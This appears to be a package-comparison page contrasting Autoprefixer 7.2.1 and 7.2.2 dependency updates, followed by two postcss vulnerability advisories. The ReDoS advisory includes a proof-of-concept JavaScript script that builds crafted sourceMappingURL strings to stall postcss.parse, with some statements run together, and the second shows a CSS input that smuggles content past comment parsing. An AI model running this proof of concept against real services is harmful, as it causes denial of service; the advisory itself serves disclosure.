Autoprefixer version 7.2.2 represents a minor update over its predecessor, version 7.2.1, primarily focusing on dependency updates and internal improvements. Both versions serve the core purpose of parsing CSS and automatically adding vendor prefixes to CSS rules, leveraging data from "Can I Use" to ensure cross-browser compatibility and a smoother developer experience.
Key differences lie in the updated dependencies. Version 7.2.2 includes a newer version of caniuse-lite (updated to version 1.0.30000780 from 1.0.30000777), which means developers benefit from the most current data on browser support for various CSS features, leading to more accurate and comprehensive prefixing. Furthermore, browserslist is updated in 7.2.2 (to version 2.10.0 from 2.9.1). These updates directly impact the accuracy and scope of Autoprefixer's prefixing capabilities, ensuring that developers can target the appropriate browser versions with the correct prefixes.
Developers should prioritize upgrading to version 7.2.2 to take advantage of these enhanced browser support data features. Both versions maintain the same core API and functionality, ensuring a seamless transition. The update also shows continued maintenance and improvement of the package, ensuring that the library remains up to date with current web development standards and browser trends.
All the vulnerabilities related to the version 7.2.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.